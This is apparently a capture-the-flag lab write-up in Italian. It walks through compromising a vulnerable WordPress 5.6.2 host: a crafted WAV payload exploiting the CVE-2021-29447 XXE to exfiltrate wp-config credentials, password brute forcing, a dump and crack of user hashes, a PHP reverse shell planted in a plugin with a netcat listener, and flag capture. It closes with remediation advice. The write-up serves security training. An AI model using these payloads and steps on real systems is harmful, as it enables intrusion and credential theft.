
L'obiettivo è condurre una valutazione di sicurezza su larga scala di un'applicazione web basata su WordPress, culminante in un compromesso completo del server. La valutazione si concentrerà sullo sfruttamento di una specifica vulnerabilità reale (CVE-2021-29447) per ottenere l'accesso iniziale.
Obiettivo del Progetto: Dimostrare una catena di attacco completa su un'installazione vulnerabile di WordPress, sfruttando CVE-2021-29447 (XXE nella libreria multimediale) per ottenere esecuzione di codice remoto e compromissione totale del sistema.
Fase 1: Ricognizione ed Enumerazione Scansione di Rete con Nmap:
bash Scansione SYN rapida per scoprire porte aperte nmap -sS -T4 10.201.3.95
Scansione dettagliata con versioni e script nmap -sV -sC -p22,80,3306 10.201.3.95 -oA initial_scan Risultati:
text PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 80/tcp open http Apache/2.4.18 (Ubuntu) |_http-generator: WordPress 5.6.2 3306/tcp open mysql MySQL 5.7.33 Enumerazione di WordPress con WPScan:
bash Enumerazione utenti wpscan --url http://10.201.3.95/ --enumerate u
Attacco brute-force sulle password wpscan --url http://10.201.3.95/ --usernames test-corp --passwords passwords.txt Credenziali Ottenute:
Username: test-corp | Password: test
Username: corp-001 | Password: teddybear (decifrata in seguito)
Fase 2: Accesso Iniziale - Sfruttamento XXE (CVE-2021-29447) Creazione del File WAV Malevolo:
bash echo -en 'RIFF\x85\x00\x00\x00WAVEiXML\x79\x00\x00\x00%remote;%param;%send;]>\x00' > payload.wav Payload DTD Esterno (yup.dtd):
xml
">Server HTTP per l'Esfiltrazione dei Dati:
bash python3 -m http.server 8000 Script PHP per la Decodifica dei Dati:
php
Credenziali del Database Estratte:
php define('DB_NAME', 'wordpressdb2'); define('DB_USER', 'thedarktangent'); define('DB_PASSWORD', 'sUp3rS3cret132'); define('DB_HOST', 'localhost'); Fase 3: Accesso al Database e Raccolta di Credenziali Connessione MySQL:
bash mysql -h 10.201.3.95 -u thedarktangent -p Query SQL Eseguite:
sql SHOW DATABASES; USE wordpressdb2; SHOW TABLES; SELECT user_login, user_pass FROM wptry_users; Hash degli Utenti Ottenuti:
text +------------+------------------------------------+ | user_login | user_pass | +------------+------------------------------------+ | corp-001 | $P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1 | | test-corp | $P$Bk3Zzr8rb.5dimh99TRE1krX8X85eR0 | +------------+------------------------------------+ Decifratura delle Password con John the Ripper:
bash Crea file hash cat > wp_hashes.txt << EOF corp-001:$P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1 test-corp:$P$Bk3Zzr8rb.5dimh99TRE1krX8X85eR0 EOF
Decifra hash john --wordlist=/usr/share/wordlists/rockyou.txt wp_hashes.txt john --show wp_hashes.txt Password Decifrate:
corp-001:teddybear
test-corp:test
Fase 4: Escalation dei Privilegi e RCE Payload Reverse Shell (Plugin Hello Dolly Modificato):
php
Listener Netcat:
bash nc -nvlp 4444 Accesso alla Shell Ottenuto:
text Connection received on 10.201.3.95 42314 Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP uid=33(www-data) gid=33(www-data) groups=33(www-data) Fase 5: Post-Sfruttamento (In Attesa di Completamento) Comandi per la Prossima Sessione:
bash Caccia alla flag find / -name flag.txt 2>/dev/null find / -name root.txt 2>/dev/null find / -name user.txt 2>/dev/null
Enumerazione per escalation privilegi sudo -l find / -perm -u=s -type f 2>/dev/null cat /etc/crontab ps aux uname -a cat /etc/os-release Risultati della Sicurezza e Raccomandazioni Vulnerabilità Critiche Identificate:
CVE-2021-29447 - Elaborazione di Entità Esterne XML nella Libreria Multimediale di WordPress
Politica Password Debole - Password facili da indovinare (test, teddybear)
Servizio Database Esposto - MySQL accessibile da remoto
Software Obsoleto - WordPress 5.6.2 con vulnerabilità note
Privilegi Utente Eccessivi - Utenti non amministratori con diritti di modifica dei plugin
Raccomandazioni per la Risoluzione:
Aggiornamento immediato all'ultima versione di WordPress
Implementare una politica password forte e 2FA
Limitare l'accesso al database al solo localhost
Patching e scansione regolari delle vulnerabilità
Principio del minimo privilegio per gli account utente
Stato del Progetto: 90% Completo - Reverse shell ottenuta, cattura finale della flag e escalation dei privilegi in attesa di un nuovo indirizzo IP.
PARTE 2 ! FLAG Fase Finale: Post-Sfruttamento e Cattura della Flag Obiettivo: Compromettere completamente il sistema e catturare la flag finale.
Azioni Eseguite:
Attivazione della Reverse Shell:
Modificato il file plugin hello.php nel pannello di amministrazione di WordPress (/wp-admin/plugin-editor.php)
Inserito un payload PHP reverse shell configurato per connettersi alla nostra macchina Kali (10.201.6.187:4444)
Eseguito il payload accedendo a: http://ip-10-201-46-113.ec2.internal/wp-content/plugins/hello.php
Accesso alla Shell Riuscito:
Ottenuta una connessione reverse shell come utente www-data
Output della shell:
text Connection received on 10.201.46.113 46240 Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP uid=33(www-data) gid=33(www-data) groups=33(www-data) Esplorazione del File System:
Trovata directory utente: /home/stux/
Trovata directory flag: /home/stux/flag/
Trovato file flag: /home/stux/flag/flag.txt
Estrazione della Flag:
Comando eseguito: cat /home/stux/flag/flag.txt
Flag catturata: thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c}
Riepilogo Completo della Catena di Attacco Fase Tecnica Utilizzata Risultato
CVE-2021-29447 - Elaborazione di Entità Esterne XML nella Libreria Multimediale di WordPress
Politica Password Debole - Password facili da indovinare (test, teddybear)
Privilegi Utente Eccessivi - Utenti non amministratori in grado di modificare plugin
Software Obsoleto - WordPress 5.6.2 con vulnerabilità note
Esposizione di Informazioni - Credenziali del database in wp-config.php
Raccomandazioni di Sicurezza:
✅ Aggiornamento immediato all'ultima versione di WordPress
✅ Implementare una politica password forte con 2FA
✅ Patching e scansione regolari delle vulnerabilità
✅ Principio del minimo privilegio per gli account utente
✅ Limitare le funzionalità di upload file e l'elaborazione XML
Conclusione Il Progetto Chimera ha dimostrato con successo una catena di attacco completa, dalla ricognizione iniziale alla compromissione totale del sistema. L'esercizio ha evidenziato come una vulnerabilità apparentemente minore nell'elaborazione XML (CVE-2021-29447) possa essere concatenata con scarse pratiche di sicurezza per ottenere il controllo completo del sistema.
Il progetto ha sottolineato l'importanza di:
Aggiornamenti software regolari e gestione delle patch
Meccanismi di autenticazione robusti
Controllo degli accessi e gestione dei privilegi adeguati
Monitoraggio completo della sicurezza
Stato Finale: ✅ 100% Completo - Tutti gli obiettivi raggiunti, flag catturata: thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c}
Il Progetto Chimera serve come potente promemoria che la sicurezza richiede difesa in profondità, poiché una singola vulnerabilità può portare alla completa compromissione del sistema se combinata con altre debolezze di sicurezza.